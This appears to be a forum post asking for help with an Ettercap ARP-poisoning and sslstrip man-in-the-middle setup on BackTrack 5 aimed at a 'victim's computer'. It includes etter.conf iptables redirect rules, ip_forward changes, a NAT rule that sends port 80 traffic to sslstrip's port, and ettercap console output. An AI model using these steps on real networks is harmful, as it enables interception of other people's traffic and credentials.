I still can't see the victim's computer in Ettercap.
#Payload and meterpreter are connected
#Here is the part of my etter.conf :
#The ip_forward activation command didn't work
# if you use ipchains:
redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT
So i edited: "/etc/sysctl.conf" and uncommented the following line :
root@bt:~# cat /proc/sys/net/ipv4/ip_forward
And i entered your command back, which successfully worked this time.
# Uncomment the next line to enable packet forwarding for IPv4
So ipforward owes 1 now.
Your iptable commands were wrong (at least, it's what iptables told :l) i looked on the internet and entered this :
And i've seen your edit, so i tried :
iptables -t nat -A PREROUTING --dst 192.168.1.11 -p tcp --dport 80 -j REDIRECT --to-ports 10000
So itried to see my host list with "L" bind :
root@bt:~# ettercap -T -M arp:remote
ettercap 0.7.4.1 copyright 2001-2011 ALoR & NaGA
Listening on eth0... (Ethernet)
eth0 -> 08:00:27:0B:1E:04 192.168.1.6 255.255.255.0
SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...
etter.dns:1 Invalid ip address
etter.dns:2 Invalid ip address
etter.dns:3 Invalid ip address
40 protocol dissectors
55 ports monitored
7587 mac vendor fingerprint
1766 tcp OS fingerprint
2183 known services
FATAL: ARP poisoning needs a non empty hosts list.
It's all blank.
Then i tried to see the profiles list with "O" bind, then "R" to see the remote_hosts :
No cillected Profile !!
So i tried the "S" bind to select a specific host :
I tried to capture anyway, but i got nothing, when i opened a web page with my victim's computer, nothing was showing up on ettercap (i ran it without quiet mode)
Select an host to display (0 for all, -1 to quit): 0
And btw, sslstrip is an unknown command via the console, i'll find how to start it on BT5 =)
Thanks for your help =) and tell me if i did something wrong